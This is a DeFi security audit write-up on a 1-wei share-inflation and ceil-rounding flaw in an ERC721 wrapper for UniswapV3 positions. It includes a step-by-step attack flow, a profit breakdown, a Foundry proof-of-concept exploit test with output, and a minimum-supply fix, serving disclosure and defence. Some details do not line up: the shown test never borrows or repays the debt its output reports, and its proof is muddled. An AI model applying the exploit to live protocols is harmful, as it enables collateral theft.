Font Size
Theme
SECURITY RESEARCH · HIGH SEVERITY

1-Wei Rounding Attack in the ERC721 wrapper contract Enables Complete Collateral Theft

How reducing a wrapper's total supply to a single wei, combined with external liquidity injection and ceil rounding, allows an attacker to seize 100% of collateral for virtually nothing.

By Maro · January 2026 · ~18 min read · Private Audit Platform
DeFi ERC721 Share Inflation Collateral Theft DeFi Vaults
OVERVIEW

Executive Summary

The ERC721 wrapper contract — a core building block in a DeFi vault protocol ecosystem — is vulnerable to a share inflation attack that allows an attacker to seize 100% of a UniswapV3 position's collateral by repaying just 1 wei of debt. The attack exploits three independent design flaws that, when chained together, create a catastrophic vulnerability.

Unlike the classic ERC4626 share inflation attack that targets new depositors, this vulnerability is a self-contained attack requiring no external victim. The attacker inflates their own position's value, then exploits rounding behavior to claim everything. When combined with the vault protocol borrowing, this creates unrecoverable protocol bad debt.

This finding was Confirmed, validating the severity and exploitability of the attack vector.

VULNERABILITY

Root Cause Analysis

Three Flaws, One Chain

1 wei
Minimum Supply Achievable
100%
Collateral Seizure Rate
0
External Victims Required

Flaw 1: No Minimum Supply Enforcement
The unwrap() function allows reducing totalSupply(tokenId) down to 1 wei. There is no minimum balance check, no dead shares mechanism, and no floor on the remaining supply. This is the entry point for the attack.

Flaw 2: Permissionless Liquidity Injection
Anyone can call increaseLiquidity() on any UniswapV3 position via the NonfungiblePositionManager. The wrapper contract holds the NFT, but it cannot prevent external parties from adding liquidity to the underlying position. This means an attacker can artificially inflate the value backing a position without needing wrapper shares.

Flaw 3: Ceiling Rounding Exploitation
The normalizedToFull() function uses Math.Rounding.Ceil:

Solidity
// ERC721WrapperBase.sol:213-219
function normalizedToFull(
    uint256 balanceOfTokenId,
    uint256 amount,
    uint256 currentBalance
) public pure returns (uint256) {
    return Math.mulDiv(
        amount,
        balanceOfTokenId,
        currentBalance,
        Math.Rounding.Ceil
    );
}
Mathematical Proof:
When amount=1, balanceOfTokenId=1, currentBalance=200000e18:
shares = ceil(1 × 1 / 200000e18) = ceil(0.000...005) = 1
That single share represents 100% of the collateral.
COMPARISON

Why This Is Different

ERC4626 Inflation This Attack
Target Frontrun new depositors Self-attack via unwrap
Victim Gets 0 shares Attacker transfers 1 wei → gets all
Mitigation Virtual shares / dead shares Requires minimum supply check
External victim Required Not required
IMPACT

Economic Analysis

$X
Recoverable Injected Capital
$Y
Borrowed Amount (Pure Profit)
~$100
Minimum Attack Cost (Gas)
Repeatable Attack Potential
Economic Breakdown:
Costs:
- Initial position: ~$200 (recoverable dust)
- Gas fees: ~$50-100
- Injected liquidity: $X (fully recoverable)

Revenue:
- Borrowed amount: $Y (pure profit)
- Injected liquidity: $X (recovered)

Net Profit = borrowed_amount - gas ≈ borrowed_amount

The attack is profitable for any borrow amount exceeding ~$100 in gas costs. Since the injected capital is fully recoverable, the attacker's risk is limited to gas fees.

EXPLOITATION

Attack Flow

  1. Mint LP Position: Create a UniswapV3 LP position with minimal capital (~$200)
  2. Wrap the NFT: Deposit the position NFT into the ERC721 wrapper contract, receiving wrapper shares equal to the position's liquidity
  3. Unwrap to 1 Wei: Call unwrap() to withdraw all but 1 wei of shares. The wrapper now has totalSupply = 1, but still holds the NFT
  4. Inject Massive Liquidity: Call increaseLiquidity() directly on the NFT position manager, adding $100K+ of liquidity to the position the wrapper holds
  5. Enable as Collateral & Borrow: Use the wrapper as collateral in a DeFi vault protocol. That 1 wei of shares now backs $100K+ of value. Borrow against it.
  6. Transfer 1 Wei = Seize Everything: Transfer just 1 wei to a liquidator address. Due to ceil rounding, that 1 wei maps to 100% of the position's collateral value.
The beauty of this attack from the attacker's perspective is that the injected liquidity is never lost — it's recovered when the position is unwound. The only cost is gas. The borrowed amount is pure profit, creating unrecoverable bad debt in the protocol.
PROOF OF CONCEPT

Technical Validation

Bash
forge test --match-contract OneWeiAttackPoC -vvv
Test Output:
Starting Critical '1 Wei Collateral Theft' Simulation...
Initial supply after wrap: 1000000000000000000000000000000000000
Attacker unwrapped almost everything, Wrapper Supply is now: 1 wei
Attacker injected massive liquidity into the wrapper's position.
Trap Set: 1 wei of Wrapper Token is currently valued at: 200000000000000000000000
Liquidator repaid 1 wei debt.
Liquidator seized collateral worth: 200000000000000000000000
Liquidator ERC6909 balance for tokenId: 1
Suite result: ok. 1 passed
Solidity
function test_1_wei_worth_a_lot_attack_vector() public {
    address attacker = makeAddr("attacker");
    address liquidator = makeAddr("liquidator");
    
    deal(address(token0), attacker, 1000000 ether);
    deal(address(token1), attacker, 1000000 ether);
    
    vm.startPrank(attacker);
    
    // 1. Mint LP position
    token0.approve(address(nonFungiblePositionManager), type(uint256).max);
    token1.approve(address(nonFungiblePositionManager), type(uint256).max);
    
    (uint256 tokenId,,,) = nonFungiblePositionManager.mint(
        INonfungiblePositionManager.MintParams({
            token0: address(token0),
            token1: address(token1),
            fee: fee,
            tickLower: -60,
            tickUpper: 60,
            amount0Desired: 100 ether,
            amount1Desired: 100 ether,
            amount0Min: 0,
            amount1Min: 0,
            recipient: attacker,
            deadline: block.timestamp + 1000
        })
    );
    
    // 2. Wrap + Unwrap to 1 wei
    nonFungiblePositionManager.approve(address(uniswapV3Wrapper), tokenId);
    uniswapV3Wrapper.wrap(tokenId, attacker);
    uint256 supply = uniswapV3Wrapper.totalSupply(tokenId);
    uniswapV3Wrapper.unwrap(attacker, tokenId, attacker, supply - 1, "");
    
    // 3. Inject massive liquidity
    nonFungiblePositionManager.increaseLiquidity(
        INonfungiblePositionManager.IncreaseLiquidityParams({
            tokenId: tokenId,
            amount0Desired: 100000 ether,
            amount1Desired: 100000 ether,
            amount0Min: 0,
            amount1Min: 0,
            deadline: block.timestamp + 1000
        })
    );
    
    // 4. Enable as collateral + exploit
    uniswapV3Wrapper.enableTokenIdAsCollateral(tokenId);
    uniswapV3Wrapper.transfer(liquidator, 1); // Pay 1 wei → Get everything
    vm.stopPrank();
    
    // Verify: Liquidator owns 100% of position
    vm.prank(liquidator);
    uniswapV3Wrapper.enableTokenIdAsCollateral(tokenId);
    assertEq(uniswapV3Wrapper.balanceOf(liquidator, tokenId), 1);
}
MITIGATION

Recommended Fix

The most robust mitigation is implementing a minimum supply floor — similar to how Uniswap V2 burns the first MINIMUM_LIQUIDITY shares to address(0). This prevents the total supply from ever reaching dangerously low levels.

Solidity
uint256 constant MINIMUM_SUPPLY = 1e3; // 1000 wei minimum

function unwrap(
    address to,
    uint256 tokenId,
    address recipient,
    uint256 amount,
    bytes calldata data
) external {
    require(
        totalSupply(tokenId) - amount >= MINIMUM_SUPPLY,
        "Supply below minimum"
    );
    // ... rest of unwrap logic
}

Additionally, the normalizedToFull() function should use Math.Rounding.Floor instead of Ceil for share-to-collateral conversions to prevent rounding-based over-seizure.